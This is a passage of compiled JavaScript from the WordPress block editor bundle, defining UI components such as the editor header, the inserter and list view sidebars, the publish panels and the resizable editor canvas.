22883 postType: getCurrentPostType(),
22884 isTextEditor: getEditorMode() === "text",
22885 isPublishSidebarOpened: _isPublishSidebarOpened(),
22886 showIconLabels: getPreference("core", "showIconLabels"),
22887 hasFixedToolbar: getPreference("core", "fixedToolbar"),
22888 hasBlockSelection: !!getBlockSelectionStart(),
22889 hasSectionRootClientId: !!getSectionRootClientId()
22890 };
22891 }, []);
22892 const canBeZoomedOut = ["post", "page", "wp_template"].includes(postType) && hasSectionRootClientId;
22893 const disablePreviewOption = [
22894 NAVIGATION_POST_TYPE,
22895 TEMPLATE_PART_POST_TYPE,
22896 PATTERN_POST_TYPE
22897 ].includes(postType) || forceDisableBlockTools;
22898 const [isBlockToolsCollapsed, setIsBlockToolsCollapsed] = (0,external_wp_element_namespaceObject.useState)(true);
22899 const hasCenter = !isTooNarrowForDocumentBar && (!hasFixedToolbar || hasFixedToolbar && (!hasBlockSelection || isBlockToolsCollapsed));
22900 const hasBackButton = useHasBackButton();
22901 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-header edit-post-header", children: [
22902 hasBackButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22903 external_wp_components_namespaceObject.__unstableMotion.div,
22904 {
22905 className: "editor-header__back-button",
22906 variants: backButtonVariations,
22907 transition: { type: "tween" },
22908 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(back_button_default.Slot, {})
22909 }
22910 ),
22911 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22912 external_wp_components_namespaceObject.__unstableMotion.div,
22913 {
22914 variants: toolbarVariations,
22915 className: "editor-header__toolbar",
22916 transition: { type: "tween" },
22917 children: [
22918 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22919 document_tools_default,
22920 {
22921 disableBlockTools: forceDisableBlockTools || isTextEditor
22922 }
22923 ),
22924 hasFixedToolbar && isLargeViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22925 CollapsibleBlockToolbar,
22926 {
22927 isCollapsed: isBlockToolsCollapsed,
22928 onToggle: setIsBlockToolsCollapsed
22929 }
22930 )
22931 ]
22932 }
22933 ),
22934 hasCenter && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22935 external_wp_components_namespaceObject.__unstableMotion.div,
22936 {
22937 className: "editor-header__center",
22938 variants: toolbarVariations,
22939 transition: { type: "tween" },
22940 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DocumentBar, { title })
22941 }
22942 ),
22943 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22944 external_wp_components_namespaceObject.__unstableMotion.div,
22945 {
22946 variants: toolbarVariations,
22947 transition: { type: "tween" },
22948 className: "editor-header__settings",
22949 children: [
22950 !customSaveButton && !isPublishSidebarOpened && /*
22951 * This button isn't completely hidden by the publish sidebar.
22952 * We can't hide the whole toolbar when the publish sidebar is open because
22953 * we want to prevent mounting/unmounting the PostPublishButtonOrToggle DOM node.
22954 * We track that DOM node to return focus to the PostPublishButtonOrToggle
22955 * when the publish sidebar has been closed.
22956 */
22957 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSavedState, { forceIsDirty }),
22958 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostViewLink, {}),
22959 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22960 PreviewDropdown,
22961 {
22962 forceIsAutosaveable: forceIsDirty,
22963 disabled: disablePreviewOption
22964 }
22965 ),
22966 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22967 PostPreviewButton,
22968 {
22969 className: "editor-header__post-preview-button",
22970 forceIsAutosaveable: forceIsDirty
22971 }
22972 ),
22973 isWideViewport && canBeZoomedOut && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(zoom_out_toggle_default, { disabled: forceDisableBlockTools }),
22974 (isWideViewport || !showIconLabels) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items_default.Slot, { scope: "core" }),
22975 !customSaveButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22976 PostPublishButtonOrToggle,
22977 {
22978 forceIsDirty,
22979 setEntitiesSavedStatesCallback
22980 }
22981 ),
22982 customSaveButton,
22983 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {})
22984 ]
22985 }
22986 )
22987 ] });
22988}
22989var header_header_default = Header;
22990
22991
22992;// ./node_modules/@wordpress/editor/build-module/components/inserter-sidebar/index.js
22993
22994
22995
22996
22997
22998
22999
23000
23001
23002
23003const { PrivateInserterLibrary } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
23004function InserterSidebar() {
23005 const {
23006 blockSectionRootClientId,
23007 inserterSidebarToggleRef,
23008 inserter,
23009 showMostUsedBlocks,
23010 sidebarIsOpened
23011 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
23012 const {
23013 getInserterSidebarToggleRef,
23014 getInserter,
23015 isPublishSidebarOpened
23016 } = unlock(select(store_store));
23017 const { getBlockRootClientId, isZoomOut, getSectionRootClientId } = unlock(select(external_wp_blockEditor_namespaceObject.store));
23018 const { get } = select(external_wp_preferences_namespaceObject.store);
23019 const { getActiveComplementaryArea } = select(store);
23020 const getBlockSectionRootClientId = () => {
23021 if (isZoomOut()) {
23022 const sectionRootClientId = getSectionRootClientId();
23023 if (sectionRootClientId) {
23024 return sectionRootClientId;
23025 }
23026 }
23027 return getBlockRootClientId();
23028 };
23029 return {
23030 inserterSidebarToggleRef: getInserterSidebarToggleRef(),
23031 inserter: getInserter(),
23032 showMostUsedBlocks: get("core", "mostUsedBlocks"),
23033 blockSectionRootClientId: getBlockSectionRootClientId(),
23034 sidebarIsOpened: !!(getActiveComplementaryArea("core") || isPublishSidebarOpened())
23035 };
23036 }, []);
23037 const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
23038 const { disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
23039 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
23040 const libraryRef = (0,external_wp_element_namespaceObject.useRef)();
23041 const closeInserterSidebar = (0,external_wp_element_namespaceObject.useCallback)(() => {
23042 setIsInserterOpened(false);
23043 inserterSidebarToggleRef.current?.focus();
23044 }, [inserterSidebarToggleRef, setIsInserterOpened]);
23045 const closeOnEscape = (0,external_wp_element_namespaceObject.useCallback)(
23046 (event) => {
23047 if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
23048 event.preventDefault();
23049 closeInserterSidebar();
23050 }
23051 },
23052 [closeInserterSidebar]
23053 );
23054 const inserterContents = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-inserter-sidebar__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23055 PrivateInserterLibrary,
23056 {
23057 showMostUsedBlocks,
23058 showInserterHelpPanel: true,
23059 shouldFocusBlock: isMobileViewport,
23060 rootClientId: blockSectionRootClientId,
23061 onSelect: inserter.onSelect,
23062 __experimentalInitialTab: inserter.tab,
23063 __experimentalInitialCategory: inserter.category,
23064 __experimentalFilterValue: inserter.filterValue,
23065 onPatternCategorySelection: sidebarIsOpened ? () => disableComplementaryArea("core") : void 0,
23066 ref: libraryRef,
23067 onClose: closeInserterSidebar
23068 }
23069 ) });
23070 return (
23071 // eslint-disable-next-line jsx-a11y/no-static-element-interactions
23072 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { onKeyDown: closeOnEscape, className: "editor-inserter-sidebar", children: inserterContents })
23073 );
23074}
23075
23076
23077;// ./node_modules/@wordpress/editor/build-module/components/list-view-sidebar/list-view-outline.js
23078
23079
23080
23081
23082
23083
23084
23085function ListViewOutline() {
23086 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23087 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-list-view-sidebar__outline", children: [
23088 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
23089 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Characters:") }),
23090 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CharacterCount, {}) })
23091 ] }),
23092 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
23093 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Words:") }),
23094 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WordCount, {})
23095 ] }),
23096 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
23097 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Time to read:") }),
23098 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TimeToRead, {})
23099 ] })
23100 ] }),
23101 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DocumentOutline, {})
23102 ] });
23103}
23104
23105
23106;// ./node_modules/@wordpress/editor/build-module/components/list-view-sidebar/index.js
23107
23108
23109
23110
23111
23112
23113
23114
23115
23116
23117
23118
23119const { TabbedSidebar } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
23120function ListViewSidebar() {
23121 const { setIsListViewOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
23122 const { getListViewToggleRef } = unlock((0,external_wp_data_namespaceObject.useSelect)(store_store));
23123 const focusOnMountRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)("firstElement");
23124 const closeListView = (0,external_wp_element_namespaceObject.useCallback)(() => {
23125 setIsListViewOpened(false);
23126 getListViewToggleRef().current?.focus();
23127 }, [getListViewToggleRef, setIsListViewOpened]);
23128 const closeOnEscape = (0,external_wp_element_namespaceObject.useCallback)(
23129 (event) => {
23130 if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented) {
23131 event.preventDefault();
23132 closeListView();
23133 }
23134 },
23135 [closeListView]
23136 );
23137 const [dropZoneElement, setDropZoneElement] = (0,external_wp_element_namespaceObject.useState)(null);
23138 const [tab, setTab] = (0,external_wp_element_namespaceObject.useState)("list-view");
23139 const sidebarRef = (0,external_wp_element_namespaceObject.useRef)();
23140 const tabsRef = (0,external_wp_element_namespaceObject.useRef)();
23141 const listViewRef = (0,external_wp_element_namespaceObject.useRef)();
23142 const listViewContainerRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([
23143 focusOnMountRef,
23144 listViewRef,
23145 setDropZoneElement
23146 ]);
23147 function handleSidebarFocus(currentTab) {
23148 const tabPanelFocus = external_wp_dom_namespaceObject.focus.tabbable.find(tabsRef.current)[0];
23149 if (currentTab === "list-view") {
23150 const listViewApplicationFocus = external_wp_dom_namespaceObject.focus.tabbable.find(
23151 listViewRef.current
23152 )[0];
23153 const listViewFocusArea = sidebarRef.current.contains(
23154 listViewApplicationFocus
23155 ) ? listViewApplicationFocus : tabPanelFocus;
23156 listViewFocusArea.focus();
23157 } else {
23158 tabPanelFocus.focus();
23159 }
23160 }
23161 const handleToggleListViewShortcut = (0,external_wp_element_namespaceObject.useCallback)(() => {
23162 if (sidebarRef.current.contains(
23163 sidebarRef.current.ownerDocument.activeElement
23164 )) {
23165 closeListView();
23166 } else {
23167 handleSidebarFocus(tab);
23168 }
23169 }, [closeListView, tab]);
23170 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/toggle-list-view", handleToggleListViewShortcut);
23171 return (
23172 // eslint-disable-next-line jsx-a11y/no-static-element-interactions
23173 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23174 "div",
23175 {
23176 className: "editor-list-view-sidebar",
23177 onKeyDown: closeOnEscape,
23178 ref: sidebarRef,
23179 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23180 TabbedSidebar,
23181 {
23182 tabs: [
23183 {
23184 name: "list-view",
23185 title: (0,external_wp_i18n_namespaceObject._x)("List View", "Post overview"),
23186 panel: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-list-view-sidebar__list-view-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-list-view-sidebar__list-view-panel-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23187 external_wp_blockEditor_namespaceObject.__experimentalListView,
23188 {
23189 dropZoneElement
23190 }
23191 ) }) }),
23192 panelRef: listViewContainerRef
23193 },
23194 {
23195 name: "outline",
23196 title: (0,external_wp_i18n_namespaceObject._x)("Outline", "Post overview"),
23197 panel: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-list-view-sidebar__list-view-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewOutline, {}) })
23198 }
23199 ],
23200 onClose: closeListView,
23201 onSelect: (tabName) => setTab(tabName),
23202 defaultTabId: "list-view",
23203 ref: tabsRef,
23204 closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)("Close")
23205 }
23206 )
23207 }
23208 )
23209 );
23210}
23211
23212
23213;// ./node_modules/@wordpress/editor/build-module/components/save-publish-panels/index.js
23214
23215
23216
23217
23218
23219
23220
23221
23222
23223
23224const { Fill: save_publish_panels_Fill, Slot: save_publish_panels_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("ActionsPanel");
23225const ActionsPanelFill = (/* unused pure expression or super */ null && (save_publish_panels_Fill));
23226function SavePublishPanels({
23227 setEntitiesSavedStatesCallback,
23228 closeEntitiesSavedStates,
23229 isEntitiesSavedStatesOpen,
23230 forceIsDirtyPublishPanel
23231}) {
23232 const { closePublishSidebar, togglePublishSidebar } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
23233 const {
23234 publishSidebarOpened,
23235 isPublishable,
23236 isDirty,
23237 hasOtherEntitiesChanges
23238 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
23239 const {
23240 isPublishSidebarOpened,
23241 isEditedPostPublishable,
23242 isCurrentPostPublished,
23243 isEditedPostDirty,
23244 hasNonPostEntityChanges
23245 } = select(store_store);
23246 const _hasOtherEntitiesChanges = hasNonPostEntityChanges();
23247 return {
23248 publishSidebarOpened: isPublishSidebarOpened(),
23249 isPublishable: !isCurrentPostPublished() && isEditedPostPublishable(),
23250 isDirty: _hasOtherEntitiesChanges || isEditedPostDirty(),
23251 hasOtherEntitiesChanges: _hasOtherEntitiesChanges
23252 };
23253 }, []);
23254 const openEntitiesSavedStates = (0,external_wp_element_namespaceObject.useCallback)(
23255 () => setEntitiesSavedStatesCallback(true),
23256 []
23257 );
23258 let unmountableContent;
23259 if (publishSidebarOpened) {
23260 unmountableContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23261 post_publish_panel_default,
23262 {
23263 onClose: closePublishSidebar,
23264 forceIsDirty: forceIsDirtyPublishPanel,
23265 PrePublishExtension: plugin_pre_publish_panel_default.Slot,
23266 PostPublishExtension: plugin_post_publish_panel_default.Slot
23267 }
23268 );
23269 } else if (isPublishable && !hasOtherEntitiesChanges) {
23270 unmountableContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-layout__toggle-publish-panel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23271 external_wp_components_namespaceObject.Button,
23272 {
23273 __next40pxDefaultSize: true,
23274 variant: "secondary",
23275 onClick: togglePublishSidebar,
23276 "aria-expanded": false,
23277 children: (0,external_wp_i18n_namespaceObject.__)("Open publish panel")
23278 }
23279 ) });
23280 } else {
23281 unmountableContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-layout__toggle-entities-saved-states-panel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23282 external_wp_components_namespaceObject.Button,
23283 {
23284 __next40pxDefaultSize: true,
23285 variant: "secondary",
23286 onClick: openEntitiesSavedStates,
23287 "aria-expanded": false,
23288 "aria-haspopup": "dialog",
23289 disabled: !isDirty,
23290 accessibleWhenDisabled: true,
23291 children: (0,external_wp_i18n_namespaceObject.__)("Open save panel")
23292 }
23293 ) });
23294 }
23295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23296 isEntitiesSavedStatesOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23297 EntitiesSavedStates,
23298 {
23299 close: closeEntitiesSavedStates,
23300 renderDialog: true
23301 }
23302 ),
23303 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(save_publish_panels_Slot, { bubblesVirtually: true }),
23304 !isEntitiesSavedStatesOpen && unmountableContent
23305 ] });
23306}
23307
23308
23309;// ./node_modules/@wordpress/editor/build-module/components/text-editor/index.js
23310
23311
23312
23313
23314
23315
23316
23317
23318
23319function TextEditor({ autoFocus = false }) {
23320 const { switchEditorMode } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
23321 const { shortcut, isRichEditingEnabled } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
23322 const { getEditorSettings } = select(store_store);
23323 const { getShortcutRepresentation } = select(external_wp_keyboardShortcuts_namespaceObject.store);
23324 return {
23325 shortcut: getShortcutRepresentation("core/editor/toggle-mode"),
23326 isRichEditingEnabled: getEditorSettings().richEditingEnabled
23327 };
23328 }, []);
23329 const titleRef = (0,external_wp_element_namespaceObject.useRef)();
23330 (0,external_wp_element_namespaceObject.useEffect)(() => {
23331 if (autoFocus) {
23332 return;
23333 }
23334 titleRef?.current?.focus();
23335 }, [autoFocus]);
23336 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-text-editor", children: [
23337 isRichEditingEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-text-editor__toolbar", children: [
23338 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { children: (0,external_wp_i18n_namespaceObject.__)("Editing code") }),
23339 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23340 external_wp_components_namespaceObject.Button,
23341 {
23342 __next40pxDefaultSize: true,
23343 variant: "tertiary",
23344 onClick: () => switchEditorMode("visual"),
23345 shortcut,
23346 children: (0,external_wp_i18n_namespaceObject.__)("Exit code editor")
23347 }
23348 )
23349 ] }),
23350 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-text-editor__body", children: [
23351 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_title_raw_default, { ref: titleRef }),
23352 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTextEditor, {})
23353 ] })
23354 ] });
23355}
23356
23357
23358;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/edit-template-blocks-notification.js
23359
23360
23361
23362
23363
23364
23365
23366function EditTemplateBlocksNotification({ contentRef }) {
23367 const { onNavigateToEntityRecord, templateId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
23368 const { getEditorSettings, getCurrentTemplateId } = select(store_store);
23369 return {
23370 onNavigateToEntityRecord: getEditorSettings().onNavigateToEntityRecord,
23371 templateId: getCurrentTemplateId()
23372 };
23373 }, []);
23374 const canEditTemplate = (0,external_wp_data_namespaceObject.useSelect)(
23375 (select) => !!select(external_wp_coreData_namespaceObject.store).canUser("create", {
23376 kind: "postType",
23377 name: "wp_template"
23378 }),
23379 []
23380 );
23381 const [isDialogOpen, setIsDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
23382 (0,external_wp_element_namespaceObject.useEffect)(() => {
23383 const handleDblClick = (event) => {
23384 if (!canEditTemplate) {
23385 return;
23386 }
23387 if (!event.target.classList.contains("is-root-container") || event.target.dataset?.type === "core/template-part") {
23388 return;
23389 }
23390 if (!event.defaultPrevented) {
23391 event.preventDefault();
23392 setIsDialogOpen(true);
23393 }
23394 };
23395 const canvas = contentRef.current;
23396 canvas?.addEventListener("dblclick", handleDblClick);
23397 return () => {
23398 canvas?.removeEventListener("dblclick", handleDblClick);
23399 };
23400 }, [contentRef, canEditTemplate]);
23401 if (!canEditTemplate) {
23402 return null;
23403 }
23404 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23405 external_wp_components_namespaceObject.__experimentalConfirmDialog,
23406 {
23407 isOpen: isDialogOpen,
23408 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Edit template"),
23409 onConfirm: () => {
23410 setIsDialogOpen(false);
23411 onNavigateToEntityRecord({
23412 postId: templateId,
23413 postType: "wp_template"
23414 });
23415 },
23416 onCancel: () => setIsDialogOpen(false),
23417 size: "medium",
23418 children: (0,external_wp_i18n_namespaceObject.__)(
23419 "You\u2019ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?"
23420 )
23421 }
23422 );
23423}
23424
23425
23426;// ./node_modules/@wordpress/editor/build-module/components/resizable-editor/resize-handle.js
23427
23428
23429
23430
23431const DELTA_DISTANCE = 20;
23432function ResizeHandle({ direction, resizeWidthBy }) {
23433 function handleKeyDown(event) {
23434 const { keyCode } = event;
23435 if (keyCode !== external_wp_keycodes_namespaceObject.LEFT && keyCode !== external_wp_keycodes_namespaceObject.RIGHT) {
23436 return;
23437 }
23438 event.preventDefault();
23439 if (direction === "left" && keyCode === external_wp_keycodes_namespaceObject.LEFT || direction === "right" && keyCode === external_wp_keycodes_namespaceObject.RIGHT) {
23440 resizeWidthBy(DELTA_DISTANCE);
23441 } else if (direction === "left" && keyCode === external_wp_keycodes_namespaceObject.RIGHT || direction === "right" && keyCode === external_wp_keycodes_namespaceObject.LEFT) {
23442 resizeWidthBy(-DELTA_DISTANCE);
23443 }
23444 }
23445 const resizeHandleVariants = {
23446 active: {
23447 opacity: 1,
23448 scaleY: 1.3
23449 }
23450 };
23451 const resizableHandleHelpId = `resizable-editor__resize-help-${direction}`;
23452 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23453 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: (0,external_wp_i18n_namespaceObject.__)("Drag to resize"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23454 external_wp_components_namespaceObject.__unstableMotion.button,
23455 {
23456 className: `editor-resizable-editor__resize-handle is-${direction}`,
23457 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Drag to resize"),
23458 "aria-describedby": resizableHandleHelpId,
23459 onKeyDown: handleKeyDown,
23460 variants: resizeHandleVariants,
23461 whileFocus: "active",
23462 whileHover: "active",
23463 whileTap: "active",
23464 role: "separator",
23465 "aria-orientation": "vertical"
23466 },
23467 "handle"
23468 ) }),
23469 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: resizableHandleHelpId, children: (0,external_wp_i18n_namespaceObject.__)("Use left and right arrow keys to resize the canvas.") })
23470 ] });
23471}
23472
23473
23474;// ./node_modules/@wordpress/editor/build-module/components/resizable-editor/index.js
23475
23476
23477
23478
23479
23480const HANDLE_STYLES_OVERRIDE = {
23481 position: void 0,
23482 userSelect: void 0,
23483 cursor: void 0,
23484 width: void 0,
23485 height: void 0,
23486 top: void 0,
23487 right: void 0,
23488 bottom: void 0,
23489 left: void 0
23490};
23491function ResizableEditor({ className, enableResizing, height, children }) {
23492 const [width, setWidth] = (0,external_wp_element_namespaceObject.useState)("100%");
23493 const resizableRef = (0,external_wp_element_namespaceObject.useRef)();
23494 const resizeWidthBy = (0,external_wp_element_namespaceObject.useCallback)((deltaPixels) => {
23495 if (resizableRef.current) {
23496 setWidth(resizableRef.current.offsetWidth + deltaPixels);
23497 }
23498 }, []);
23499 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23500 external_wp_components_namespaceObject.ResizableBox,
23501 {
23502 className: dist_clsx("editor-resizable-editor", className, {
23503 "is-resizable": enableResizing
23504 }),
23505 ref: (api) => {
23506 resizableRef.current = api?.resizable;
23507 },
23508 size: {
23509 width: enableResizing ? width : "100%",
23510 height: enableResizing && height ? height : "100%"
23511 },
23512 onResizeStop: (event, direction, element) => {
23513 setWidth(element.style.width);
23514 },
23515 minWidth: 300,
23516 maxWidth: "100%",
23517 maxHeight: "100%",
23518 enable: {
23519 left: enableResizing,
23520 right: enableResizing
23521 },
23522 showHandle: enableResizing,
23523 resizeRatio: 2,
23524 handleComponent: {
23525 left: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23526 ResizeHandle,
23527 {
23528 direction: "left",
23529 resizeWidthBy
23530 }
23531 ),
23532 right: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23533 ResizeHandle,
23534 {
23535 direction: "right",
23536 resizeWidthBy
23537 }
23538 )
23539 },
23540 handleClasses: void 0,
23541 handleStyles: {
23542 left: HANDLE_STYLES_OVERRIDE,
23543 right: HANDLE_STYLES_OVERRIDE
23544 },
23545 children
23546 }
23547 );
23548}
23549var resizable_editor_default = ResizableEditor;
23550
23551
23552;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/use-select-nearest-editable-block.js
23553
23554
23555
23556
23557const DISTANCE_THRESHOLD = 500;
23558function use_select_nearest_editable_block_clamp(value, min, max) {
23559 return Math.min(Math.max(value, min), max);
23560}
23561function distanceFromRect(x, y, rect) {
23562 const dx = x - use_select_nearest_editable_block_clamp(x, rect.left, rect.right);
23563 const dy = y - use_select_nearest_editable_block_clamp(y, rect.top, rect.bottom);
23564 return Math.sqrt(dx * dx + dy * dy);
23565}
23566function useSelectNearestEditableBlock({
23567 isEnabled = true
23568} = {}) {
23569 const { getEnabledClientIdsTree, getBlockName, getBlockOrder } = unlock(
23570 (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store)
23571 );
23572 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
23573 return (0,external_wp_compose_namespaceObject.useRefEffect)(
23574 (element) => {
23575 if (!isEnabled) {
23576 return;
23577 }
23578 const selectNearestEditableBlock = (x, y) => {
23579 const editableBlockClientIds = getEnabledClientIdsTree().flatMap(({ clientId }) => {
23580 const blockName = getBlockName(clientId);
23581 if (blockName === "core/template-part") {
23582 return [];
23583 }
23584 if (blockName === "core/post-content") {
23585 const innerBlocks = getBlockOrder(clientId);
23586 if (innerBlocks.length) {
23587 return innerBlocks;
23588 }
23589 }
23590 return [clientId];
23591 });
23592 let nearestDistance = Infinity, nearestClientId = null;
23593 for (const clientId of editableBlockClientIds) {
23594 const block = element.querySelector(
23595 `[data-block="${clientId}"]`
23596 );
23597 if (!block) {
23598 continue;
23599 }
23600 const rect = block.getBoundingClientRect();
23601 const distance = distanceFromRect(x, y, rect);
23602 if (distance < nearestDistance && distance < DISTANCE_THRESHOLD) {
23603 nearestDistance = distance;
23604 nearestClientId = clientId;
23605 }
23606 }
23607 if (nearestClientId) {
23608 selectBlock(nearestClientId);
23609 }
23610 };
23611 const handleClick = (event) => {
23612 const shouldSelect = event.target === element || event.target.classList.contains("is-root-container");
23613 if (shouldSelect) {
23614 selectNearestEditableBlock(event.clientX, event.clientY);
23615 }
23616 };
23617 element.addEventListener("click", handleClick);
23618 return () => element.removeEventListener("click", handleClick);
23619 },
23620 [isEnabled]
23621 );
23622}
23623
23624
23625;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/use-zoom-out-mode-exit.js
23626
23627
23628
23629
23630function useZoomOutModeExit() {
23631 const { getSettings, isZoomOut } = unlock((0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store));
23632 const { resetZoomLevel } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
23633 return (0,external_wp_compose_namespaceObject.useRefEffect)(
23634 (node) => {
23635 function onDoubleClick(event) {
23636 if (!isZoomOut()) {
23637 return;
23638 }
23639 if (!event.defaultPrevented) {
23640 event.preventDefault();
23641 const { __experimentalSetIsInserterOpened } = getSettings();
23642 if (typeof __experimentalSetIsInserterOpened === "function") {
23643 __experimentalSetIsInserterOpened(false);
23644 }
23645 resetZoomLevel();
23646 }
23647 }
23648 node.addEventListener("dblclick", onDoubleClick);
23649 return () => {
23650 node.removeEventListener("dblclick", onDoubleClick);
23651 };
23652 },
23653 [getSettings, isZoomOut, resetZoomLevel]
23654 );
23655}
23656
23657
